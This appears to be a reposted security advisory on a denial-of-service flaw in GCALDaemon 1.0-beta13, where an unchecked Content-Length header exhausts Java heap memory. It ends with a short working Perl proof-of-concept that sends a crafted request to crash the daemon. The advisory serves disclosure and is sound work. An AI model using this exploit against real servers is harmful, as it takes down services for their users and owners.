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GCALDaemon DoS


<http://gcaldaemon.sourceforge.net/> GCALDaemon is "an OS-independent
Java program that offers two-way synchronization between Google Calendar
and various iCalendar compatible calendar applications. GCALDaemon is
primarily designed as a calendar synchronizer but it can also be used as a
Gmail notifier, Address Book importer, Gmail terminal and RSS feed

Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars
over HTTP, by uploading their file via an HTTP PUT and getting/refreshing
their calendar with an HTTP GET. The GCALDaemon's built-in HTTP server
keeps this HTTP messages in sync with a specified Google Calendar. An
input validation flaw permits to craft an HTTP request with an abnormal
content-length value; this malformed request could trigger a denial of
service that arises from a Java out of memory fatal error.


Vulnerable Systems:
* GALDaemon version 1.0-beta13

Using a crafted HTTP request, an attacker could trigger a denial of
service that arises from a java.lang.OutOfMemoryError when the Java heap
space is overfilled. In the file
"org/gcaldaemon/core/http/HTTPListener.java", the GCALDaemon's built-in
HTTP server parses the HTTP request and the HTTP header parameters without
validation checkpoints. In the line of code
"490:org/gcaldaemon/core/http/HTTPListener.java" the "Content-Length"
header parameter is used to create a new byte array; when the size of this
structure is big enough, it could trigger a Java fatal error that blocks
the HTTP daemon:

Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java heap

The provided proof-of-concept can trigger the issue.


use strict;
use warnings;
use IO::Socket;

my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port,
PeerProto => 'tcp')
or die "error: $!\n";
print "GCALDaemom DoS Expoit\n";
print "Just 4 seconds...\n";
sleep 4;
$sock->send("GET / HTTP/1.1\r\n");
$sock->send("Content-Length: 1000000000\r\n\r\n");
print "\n\nNo more sync!\n";


The information has been provided by
<mailto:luca.carettoni@xxxxxxxxxxxxxxxx> Luca Carettoni.


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